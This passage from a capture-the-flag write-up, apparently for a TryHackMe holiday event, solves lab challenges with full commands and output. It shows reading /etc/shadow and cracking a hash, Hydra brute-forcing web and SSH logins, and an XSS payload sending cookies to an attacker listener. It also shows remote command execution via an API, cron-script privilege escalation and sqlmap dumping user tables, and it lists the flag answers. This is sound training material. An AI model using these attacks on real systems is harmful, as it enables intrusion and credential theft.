Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false\nsyslog:x:104:108::/home/syslog:/bin/false\n_apt:x:105:65534::/nonexistent:/bin/false\nlxd:x:106:65534::/var/lib/lxd/:/bin/false\nmessagebus:x:107:111::/var/run/dbus:/bin/false\nuuidd:x:108:112::/run/uuidd:/bin/false\ndnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false\nsshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin\npollinate:x:111:1::/var/cache/pollinate:/bin/false\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\ncharlie:x:1001:1001:Charlie the Elf,,,:/home/charlie:/bin/bash\n"
}
Or we can also paste getNote('/etc/passwd', '#note-3');
in the JS console.
Now let's find hashes: getNote('/etc/shadow', '#note-3');
:
root:*:18152:0:99999:7:::
daemon:*:18152:0:99999:7:::
bin:*:18152:0:99999:7:::
sys:*:18152:0:99999:7:::
sync:*:18152:0:99999:7:::
games:*:18152:0:99999:7:::
man:*:18152:0:99999:7:::
lp:*:18152:0:99999:7:::
mail:*:18152:0:99999:7:::
news:*:18152:0:99999:7:::
uucp:*:18152:0:99999:7:::
proxy:*:18152:0:99999:7:::
www-data:*:18152:0:99999:7:::
backup:*:18152:0:99999:7:::
list:*:18152:0:99999:7:::
irc:*:18152:0:99999:7:::
gnats:*:18152:0:99999:7:::
nobody:*:18152:0:99999:7:::
systemd-timesync:*:18152:0:99999:7:::
systemd-network:*:18152:0:99999:7:::
systemd-resolve:*:18152:0:99999:7:::
systemd-bus-proxy:*:18152:0:99999:7:::
syslog:*:18152:0:99999:7:::
_apt:*:18152:0:99999:7:::
lxd:*:18152:0:99999:7:::
messagebus:*:18152:0:99999:7:::
uuidd:*:18152:0:99999:7:::
dnsmasq:*:18152:0:99999:7:::
sshd:*:18152:0:99999:7:::
pollinate:*:18152:0:99999:7:::
ubuntu:!:18243:0:99999:7:::
charlie:$6$oHymLspP$wTqsTmpPkz.u/CQDbheQjwwjyYoVN2rOm6CDu0KDeq8mN4pqzuna7OX.LPdDPCkPj7O9TB0rvWfCzpEkGOyhL.:18243:0:99999:7:::
Crack the hash:
$ john hash.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=sha512crypt
What is flag1.txt?
Answer: THM{4ea2adf842713ad3ce0c1f05ef12256d}
Obvious:
$ ssh charlie@10.10.166.182
...
charlie@ip-10-10-166-182:~$ cat flag1.txt
THM{4ea2adf842713ad3ce0c1f05ef12256d}
[Day 16] File Confusion
How many files did you extract(excluding all the .zip files)
Answer: 50
My dirty ruby script to solve this (which is specific to this problem, not re-usable nor recursive):
#!/usr/bin/env ruby
require 'zip'
files_extracted = 0
files_11 = 0
password = ''
extract_next = []
Zip :: File . open ( 'final-final-compressed.zip' ) do | zip_file |
zip_file.each do | entry |
entry.extract
files_extracted += 1 unless entry.name[ - 4 ..] == '.zip'
extract_next.push(entry.name) if entry.name[ - 4 ..] == '.zip'
end
end
extract_next.each do | filename |
Zip :: File . open (filename) do | zip_file |
zip_file.each do | entry |
entry.extract
files_extracted += 1 unless entry.name[ - 4 ..] == '.zip'
content = entry.get_input_stream.read
password = entry.name if /password/i .match?(content)
files_11 += 1 if /version.+1.1/i .match?(content)
end
end
end
puts "Files extracted : #{ files_extracted } "
puts "Files with Version: 1.1 : #{ files_11 } "
puts "File containing password : #{ password } "
$ ruby zip.rb
Files extracted : EDITED
Files with Version: 1.1 : EDITED
File containing password : EDITED
How many files contain Version: 1.1 in their metadata?
Answer: 3
Which file contains the password?
Answer: dL6w.txt
[Day 17] Hydra-ha-ha-haa
Use Hydra to bruteforce molly's web password. What is flag 1? (The flag is mistyped, its THM, not TMH)
Answer: THM{2673a7dd116de68e85c48ec0b1f2612e}
HHTP form bruteforce:
$ hydra -l molly -P /usr/share/wordlists/passwords/rockyou.txt 10.10.162.26 http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-29 16:49:49
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.162.26:80/login:username=^USER^&password=^PASS^:F=incorrect
[80][http-post-form] host: 10.10.162.26 login: molly password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-29 16:50:02
Use Hydra to bruteforce molly's SSH password. What is flag 2?
Answer: THM{c8eeb0468febbadea859baeb33b2541b}
SSH bruteforce:
$ hydra -l molly -P /usr/share/wordlists/passwords/rockyou.txt 10.10.162.26 -t 4 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-29 16:48:34
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking ssh://10.10.162.26:22/
[22][ssh] host: 10.10.162.26 login: molly password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-29 16:49:26
[Day 18] ELF JS
What is the admin's authid cookie value?
Answer: 2564799a4e6689972f6d9e1c7b406f87065cbf65
Web server listening:
$ ruby -run -ehttpd . -p8080
XSS payload to steal cookies:
< script > document . location = 'http://10.9.19.77:8080/?c=' + document . cookie </ script >
Logs:
10.9.19.77 - - [29/Nov/2020:16:59:50 CET] "GET /?c=authid=c32258485b0c6532df1df72d493c382ddf34c9ae HTTP/1.1" 200 1419
http://10.10.40.148:3000/home -> /?c=authid=c32258485b0c6532df1df72d493c382ddf34c9ae
[2020-11-29 16:59:50] ERROR `/favicon.ico' not found.
10.9.19.77 - - [29/Nov/2020:16:59:50 CET] "GET /favicon.ico HTTP/1.1" 404 282
http://10.9.19.77:8080/?c=authid=c32258485b0c6532df1df72d493c382ddf34c9ae -> /favicon.ico
10.10.40.148 - - [29/Nov/2020:17:00:09 CET] "GET /?c=authid=REDACTED HTTP/1.1" 200 1419
http://localhost:3000/admin -> /?c=authid=REDACTED
[Day 19] Commands
What are the contents of the user.txt file?
Answer: 5W7WkjxBWwhe3RNsWJ3Q
Let's execute a few basic Linux commands through the API RCE:
$ curl http://10.10.134.182:3000/api/cmd
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /api/cmd</pre>
</body>
</html>
$ curl http://10.10.134.182:3000/api/cmd/id -s | jq
{
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": ""
}
$ curl 'http://10.10.134.182:3000/api/cmd/ls' -s | jq
{
"stdout": "bin\nboot\ndata\ndev\netc\nhome\nlib\nlib64\nlocal\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n",
"stderr": ""
}
$ curl 'http://10.10.134.182:3000/api/cmd/pwd' -s | jq
{
"stdout": "/\n",
"stderr": ""
}
$ curl 'http://10.10.134.182:3000/api/cmd/ls%20home' -s | jq
{
"stdout": "bestadmin\nec2-user\n",
"stderr": ""
}
$ curl 'http://10.10.134.182:3000/api/cmd/ls%20home%2fbestadmin' -s | jq
{
"stdout": "bin\nnew-room\nrun.sh\nuser.txt\n",
"stderr": ""
}
$ curl 'http://10.10.134.182:3000/api/cmd/cat%20home%2fbestadmin%2fuser.txt' -s | jq
[Day 20] Cronjob Privilege Escalation
What port is SSH running on?
Answer: 4567
Service scan:
$ sudo nmap -sSVC -p- 10.10.206.220 -v
...
PORT STATE SERVICE VERSION
4567/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b6:1c:3e:64:9a:6e:62:98:45:7b:d6:b5:37:2d:e4 (RSA)
| 256 87:16:c5:f5:0b:33:47:64:c7:c8:3e:b1:fc:da:60:c5 (ECDSA)
|_ 256 3e:bf:51:b8:4b:f8:3b:f9:65:65:c8:87:9f:f7:a5:2b (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Crack sam's password and read flag1.txt
Answer: THM{dec4389bc09669650f3479334532aeab}
Again SSH bruteforce:
$ hydra -l sam -P /usr/share/wordlists/passwords/rockyou.txt 10.10.206.220 -t 4 ssh -s 4567
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-29 17:56:09
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking ssh://10.10.206.220:4567/
[4567][ssh] host: 10.10.206.220 login: sam password: chocolate
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-29 17:56:57
$ ssh sam@10.10.206.220 -p 4567
sam@ip-10-10-206-220:~$ cat flag1.txt
Escalate your privileges by taking advantage of a cronjob running every minute. What is flag2?
Answer: THM{b27d33705f97ba2e1f444ec2da5f5f61}
Flag2 is in /home/ubuntu/
.
We can't see cron jobs owned by other users.
But we foudn this:
sam@ip-10-10-206-220:~$ ls -lhA /home/scripts/
total 8.0K
-rwxrwxrwx 1 ubuntu ubuntu 14 Dec 19 2019 clean_up.sh
-rw-r--r-- 1 root root 5 Dec 19 2019 test.txt
sam@ip-10-10-206-220:~$ cat /home/scripts/clean_up.sh
rm -rf /tmp/*
It could be used by a cron job. To verify that we just have to put some
files in /tmp/
and see if it disapears.
After 1min or less it's removed so it's used by a cron job. And this script
is writable by everyone.
Let's modify it:
sam@ip-10-10-206-220:~$ vim /home/scripts/clean_up.sh
sam@ip-10-10-206-220:~$ cat /home/scripts/clean_up.sh
chmod 444 /home/ubuntu/flag2.txt
sam@ip-10-10-206-220:~$ cat /home/ubuntu/flag2.txt
[Day 21] Reverse Elf-ineering
What is the value of local_ch when its corresponding movl instruction is called (first if multiple)?
Answer: 1
Try the Intro to x86-64 room to
understand basic x86-64 assembly instructions, radare2 commands and reverse
engineering.
$ r2 -d challenge1
[0x00400a30]> aaa
[0x00400a30]> e asm.syntax=att
[0x00400a30]> pdf @main
; DATA XREF from entry0 @ 0x400a4d
┌ 35: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ ; var int64_t var_4h @ rbp-0x4
│ 0x00400b4d 55 pushq %rbp
│ 0x00400b4e 4889e5 movq %rsp, %rbp
│ 0x00400b51 c745f4010000. movl $1, var_ch
│ 0x00400b58 c745f8060000. movl $6, var_8h
│ 0x00400b5f 8b45f4 movl var_ch, %eax
│ 0x00400b62 0faf45f8 imull var_8h, %eax
│ 0x00400b66 8945fc movl %eax, var_4h
│ 0x00400b69 b800000000 movl $0, %eax
│ 0x00400b6e 5d popq %rbp
└ 0x00400b6f c3 retq
[0x00400a30]> db 0x00400b51
[0x00400a30]> db 0x00400b62
[0x00400a30]> db 0x00400b69
[0x00400a30]> pdf @main
; DATA XREF from entry0 @ 0x400a4d
┌ 35: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ ; var int64_t var_4h @ rbp-0x4
│ 0x00400b4d 55 pushq %rbp
│ 0x00400b4e 4889e5 movq %rsp, %rbp
│ 0x00400b51 b c745f4010000. movl $1, var_ch
│ 0x00400b58 c745f8060000. movl $6, var_8h
│ 0x00400b5f 8b45f4 movl var_ch, %eax
│ 0x00400b62 b 0faf45f8 imull var_8h, %eax
│ 0x00400b66 8945fc movl %eax, var_4h
│ 0x00400b69 b b800000000 movl $0, %eax
│ 0x00400b6e 5d popq %rbp
└ 0x00400b6f c3 retq
[0x00400a30]> dc
hit breakpoint at: 400b51
[0x00400b51]> px @rbp-0xc
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffc2cc40974 0000 0000 1890 6b00 0000 0000 4018 4000 ......k.....@.@.
0x7ffc2cc40984 0000 0000 e910 4000 0000 0000 0000 0000 ......@.........
0x7ffc2cc40994 0000 0000 0000 0000 0100 0000 a80a c42c ...............,
0x7ffc2cc409a4 fc7f 0000 4d0b 4000 0000 0000 0000 0000 ....M.@.........
0x7ffc2cc409b4 0000 0000 1700 0000 0100 0000 0000 0000 ................
0x7ffc2cc409c4 0000 0000 0000 0000 0100 0000 0000 0000 ................
0x7ffc2cc409d4 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc409e4 0000 0000 0000 0000 0000 0000 0004 4000 ..............@.
0x7ffc2cc409f4 0000 0000 4df7 672d 3602 6b7b e018 4000 ....M.g-6.k{..@.
0x7ffc2cc40a04 0000 0000 0000 0000 0000 0000 1890 6b00 ..............k.
0x7ffc2cc40a14 0000 0000 0000 0000 0000 0000 4df7 c70e ............M...
0x7ffc2cc40a24 3e5b 9384 4df7 d33c 3602 6b7b 0000 0000 >[..M..<6.k{....
0x7ffc2cc40a34 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a44 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a54 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a64 0000 0000 0000 0000 0000 0000 0000 0000 ................
[0x00400b51]> ds
[0x00400b58]> px @rbp-0xc
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffc2cc40974 0100 0000 1890 6b00 0000 0000 4018 4000 ......k.....@.@.
0x7ffc2cc40984 0000 0000 e910 4000 0000 0000 0000 0000 ......@.........
0x7ffc2cc40994 0000 0000 0000 0000 0100 0000 a80a c42c ...............,
0x7ffc2cc409a4 fc7f 0000 4d0b 4000 0000 0000 0000 0000 ....M.@.........
0x7ffc2cc409b4 0000 0000 1700 0000 0100 0000 0000 0000 ................
0x7ffc2cc409c4 0000 0000 0000 0000 0100 0000 0000 0000 ................
0x7ffc2cc409d4 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc409e4 0000 0000 0000 0000 0000 0000 0004 4000 ..............@.
0x7ffc2cc409f4 0000 0000 4df7 672d 3602 6b7b e018 4000 ....M.g-6.k{..@.
0x7ffc2cc40a04 0000 0000 0000 0000 0000 0000 1890 6b00 ..............k.
0x7ffc2cc40a14 0000 0000 0000 0000 0000 0000 4df7 c70e ............M...
0x7ffc2cc40a24 3e5b 9384 4df7 d33c 3602 6b7b 0000 0000 >[..M..<6.k{....
0x7ffc2cc40a34 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a44 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a54 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a64 0000 0000 0000 0000 0000 0000 0000 0000 ................
What is the value of eax when the imull instruction is called?
Answer: 6
[0x00400b58]> dc
hit breakpoint at: 400b62
[0x00400b62]> ds
[0x00400b66]> dr
rax = 0x00000006
rbx = 0x00400400
rcx = 0x0044b9a0
rdx = 0x7ffc2cc40ab8
r8 = 0x01000000
r9 = 0x006bb8e0
r10 = 0x00000015
r11 = 0x00000000
r12 = 0x004018e0
r13 = 0x00000000
r14 = 0x006b9018
r15 = 0x00000000
rsi = 0x7ffc2cc40aa8
rdi = 0x00000001
rsp = 0x7ffc2cc40980
rbp = 0x7ffc2cc40980
rip = 0x00400b66
rflags = 0x00000246
orax = 0xffffffffffffffff
What is the value of local_4h before eax is set to 0?
Answer: 6
[0x00400b66]> dc
hit breakpoint at: 400b69
[0x00400b69]> px @rbp-0x4
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffc2cc4097c 0600 0000 4018 4000 0000 0000 e910 4000 ....@.@.......@.
0x7ffc2cc4098c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc4099c 0100 0000 a80a c42c fc7f 0000 4d0b 4000 .......,....M.@.
0x7ffc2cc409ac 0000 0000 0000 0000 0000 0000 1700 0000 ................
0x7ffc2cc409bc 0100 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc409cc 0100 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc409dc 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc409ec 0000 0000 0004 4000 0000 0000 4df7 672d ......@.....M.g-
0x7ffc2cc409fc 3602 6b7b e018 4000 0000 0000 0000 0000 6.k{..@.........
0x7ffc2cc40a0c 0000 0000 1890 6b00 0000 0000 0000 0000 ......k.........
0x7ffc2cc40a1c 0000 0000 4df7 c70e 3e5b 9384 4df7 d33c ....M...>[..M..<
0x7ffc2cc40a2c 3602 6b7b 0000 0000 0000 0000 0000 0000 6.k{............
0x7ffc2cc40a3c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a4c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a5c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc2cc40a6c 0000 0000 0000 0000 0000 0000 0000 0000 ................
[Day 22] If Santa, Then Christmas
what is the value of local_8h before the end of the main function?
Answer: 9
Try the Intro to x86-64 room to
understand basic x86-64 assembly instructions, radare2 commands and reverse
engineering.
$ r2 -d if2
Process with PID 136549 started...
= attach 136549 136549
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
-- We don't make mistakes... just happy little segfaults.
[0x00400a30]> aaa
[Invalid address from 0x004843bcith sym. and entry0 (aa)
Invalid address from 0x0044efd6
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400a30]> e asm.syntax=att
[0x00400a30]> afl | grep main
0x00400df0 114 1657 sym.__libc_start_main
0x0048fa50 16 247 -> 237 sym._nl_unload_domain
0x00403af0 308 5366 -> 5301 sym._nl_load_domain
0x00470440 1 49 sym._IO_switch_to_main_wget_area
0x00403850 39 672 -> 640 sym._nl_find_domain
0x00400b4d 4 43 main
0x0048fa00 7 73 -> 69 sym._nl_finddomain_subfreeres
0x0044ce20 1 8 sym._dl_get_dl_main_map
0x00415f00 1 43 sym._IO_switch_to_main_get_area
[0x00400a30]> pdf @main
; DATA XREF from entry0 @ 0x400a4d
┌ 43: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_8h @ rbp-0x8
│ ; var int64_t var_4h @ rbp-0x4
│ 0x00400b4d 55 pushq %rbp
│ 0x00400b4e 4889e5 movq %rsp, %rbp
│ 0x00400b51 c745f8080000. movl $8, var_8h
│ 0x00400b58 c745fc020000. movl $2, var_4h
│ 0x00400b5f 8b45f8 movl var_8h, %eax
│ 0x00400b62 3b45fc cmpl var_4h, %eax
│ ┌─< 0x00400b65 7e06 jle 0x400b6d
│ │ 0x00400b67 8345f801 addl $1, var_8h
│ ┌──< 0x00400b6b eb04 jmp 0x400b71
│ ││ ; CODE XREF from main @ 0x400b65
│ │└─> 0x00400b6d 8345fc07 addl $7, var_4h
│ │ ; CODE XREF from main @ 0x400b6b
│ └──> 0x00400b71 b800000000 movl $0, %eax
│ 0x00400b76 5d popq %rbp
└ 0x00400b77 c3 retq
[0x00400a30]> db 0x00400b71
[0x00400a30]> dc
hit breakpoint at: 400b71
[0x00400b71]> px @rbp-0x8
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffdbb4b1fc8 0900 0000 0200 0000 5018 4000 0000 0000 ........P.@.....
0x7ffdbb4b1fd8 f910 4000 0000 0000 0000 0000 0000 0000 ..@.............
0x7ffdbb4b1fe8 0000 0000 0100 0000 f820 4bbb fd7f 0000 ......... K.....
0x7ffdbb4b1ff8 4d0b 4000 0000 0000 0000 0000 0000 0000 M.@.............
0x7ffdbb4b2008 1700 0000 0100 0000 0000 0000 0000 0000 ................
0x7ffdbb4b2018 0000 0000 0100 0000 0000 0000 0000 0000 ................
0x7ffdbb4b2028 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b2038 0000 0000 0000 0000 0004 4000 0000 0000 ..........@.....
0x7ffdbb4b2048 0ca9 1fc6 f66e 14fe f018 4000 0000 0000 .....n....@.....
0x7ffdbb4b2058 0000 0000 0000 0000 1890 6b00 0000 0000 ..........k.....
0x7ffdbb4b2068 0000 0000 0000 0000 0ca9 7fc9 e018 ef01 ................
0x7ffdbb4b2078 0ca9 ebd7 f66e 14fe 0000 0000 0000 0000 .....n..........
0x7ffdbb4b2088 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b2098 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b20a8 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b20b8 0000 0000 0000 0000 0000 0000 0000 0000 ................
what is the value of local_4h before the end of the main function?
Answer: 2
[0x00400b71]> px @rbp-0x4
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffdbb4b1fcc 0200 0000 5018 4000 0000 0000 f910 4000 ....P.@.......@.
0x7ffdbb4b1fdc 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b1fec 0100 0000 f820 4bbb fd7f 0000 4d0b 4000 ..... K.....M.@.
0x7ffdbb4b1ffc 0000 0000 0000 0000 0000 0000 1700 0000 ................
0x7ffdbb4b200c 0100 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b201c 0100 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b202c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b203c 0000 0000 0004 4000 0000 0000 0ca9 1fc6 ......@.........
0x7ffdbb4b204c f66e 14fe f018 4000 0000 0000 0000 0000 .n....@.........
0x7ffdbb4b205c 0000 0000 1890 6b00 0000 0000 0000 0000 ......k.........
0x7ffdbb4b206c 0000 0000 0ca9 7fc9 e018 ef01 0ca9 ebd7 ................
0x7ffdbb4b207c f66e 14fe 0000 0000 0000 0000 0000 0000 .n..............
0x7ffdbb4b208c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b209c 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b20ac 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffdbb4b20bc 0000 0000 0000 0000 0000 0000 0000 0000 ................
[Day 23] LapLANd (SQL Injection)
Which field is SQL injectable? Use the input name used in the HTML code.
Answer: log_email
Classic SQLi exploitation with SQLmap, nothing much to add:
$ sqlmap --method POST -u http://10.10.95.214/register.php --data 'log_email=noraj@toto.fr&log_password=noraj&login_button=Login'
___
__H__
___ ___[.]_____ ___ ___ {1.4.9#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program
[*] starting @ 19:18:23 /2020-11-29/
[19:18:24] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=dgs5jd152jp...112bg95coi'). Do you want to use those [Y/n] y
[19:18:28] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:18:28] [INFO] testing if the target URL content is stable
[19:18:28] [INFO] target URL content is stable
[19:18:28] [INFO] testing if POST parameter 'log_email' is dynamic
[19:18:29] [WARNING] POST parameter 'log_email' does not appear to be dynamic
[19:18:29] [WARNING] heuristic (basic) test shows that POST parameter 'log_email' might not be injectable
[19:18:29] [INFO] heuristic (XSS) test shows that POST parameter 'log_email' might be vulnerable to cross-site scripting (XSS) attacks
[19:18:29] [INFO] testing for SQL injection on POST parameter 'log_email'
[19:18:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:18:29] [WARNING] reflective value(s) found and filtering out
[19:18:30] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:18:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:18:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:18:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:18:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:18:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:18:31] [INFO] testing 'Generic inline queries'
[19:18:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:18:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:18:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[19:18:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:18:42] [INFO] POST parameter 'log_email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[19:18:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:18:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
got a 302 redirect to 'http://10.10.95.214:80/index.php'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] n
[19:19:19] [INFO] target URL appears to be UNION injectable with 12 columns
[19:19:19] [INFO] POST parameter 'log_email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'log_email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:
---
Parameter: log_email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: log_email=noraj@toto.fr' AND (SELECT 4787 FROM (SELECT(SLEEP(5)))zyYD) AND 'PUeG'='PUeG&log_password=noraj&login_button=Login
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: log_email=noraj@toto.fr' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b7a7171,0x554a754769714965464f564d7468734276675a767a6d525253716663534e744c417472564a594948,0x71786a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&log_password=noraj&login_button=Login
---
[19:19:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[19:19:25] [INFO] fetched data logged to text files under '/home/noraj/.local/share/sqlmap/output/10.10.95.214'
[*] ending @ 19:19:25 /2020-11-29/
What is Santa Claus' email address?
Answer: bigman@shefesh.com
$ sqlmap --method POST -u http://10.10.95.214/register.php --data 'log_email=noraj@toto.fr&log_password=noraj&login_button=Login' --dbs
...
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] social
[*] sys
$ sqlmap --method POST -u http://10.10.95.214/register.php --data 'log_email=noraj@toto.fr&log_password=noraj&login_button=Login' -D social --tables
...
Database: social
[8 tables]
+-----------------+
| comments |
| friend_requests |
| likes |
| messages |
| notifications |
| posts |
| trends |
| users |
+-----------------+
$ sqlmap --method POST -u http://10.10.95.214/register.php --data 'log_email=noraj@toto.fr&log_password=noraj&login_button=Login' -D social -T users --columns
...
Database: social
Table: users
[12 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| email | varchar(100) |
| first_name | varchar(25) |
| friend_array | text |
| id | int(11) |
| last_name | varchar(25) |
| num_likes | int(11) |
| num_posts | int(11) |
| password | varchar(255) |
| profile_pic | varchar(255) |
| signup_date | date |
| user_closed | varchar(3) |
| username | varchar(100) |
+--------------+--------------+
$ sqlmap --method POST -u http://10.10.95.214/register.php --data 'log_email=noraj@toto.fr&log_password=noraj&login_button=Login' -D social -T users -C username,password,email --dump
...
Database: social
Table: users
[9 entries]
+-----------------------+----------------------------------+------------------------+
| username | password | email |
+-----------------------+----------------------------------+------------------------+
| santa_claus | f1267830a78c0b59acc06b05694b2e28 | bigman@shefesh.com |
| mommy_mistletoe | 402223cb4df4c5050a38043d38b1372b | mmtoe@shefesh.com |
| arnold_schwarzenegger | 78a6d0e6c73a29ef6d07d56f32f67b30 | terminator@shefesh.com |
| johnfortnite_kennedy | bc808149a93bc7050c3c6c4b7a5a0c97 | jayfkay@shefesh.com |
| john_richardson | aa4e356d1509f1c1f53e0191601cde72 | john@keepingit.online |
| naughty_elf | 6aff5ae0718de8945a3f71ba4d1ca76f | notty@shefesh.com |
| felix_navidad | 57e9eb182943223b0b4e7f17c5e4cb6e | felixnav@shefesh.com |
| jessica_claus | 15bc4f3ba871b2fa651363dcddfb27d9 | mrsclaus@shefesh.com |
| myron_larabee | a60c0662c54bde0301d9aa2ad86203df | mailman@shefesh.com |
+-----------------------+----------------------------------+------------------------+
What is Santa Claus' plaintext password?
Answer: saltnpepper
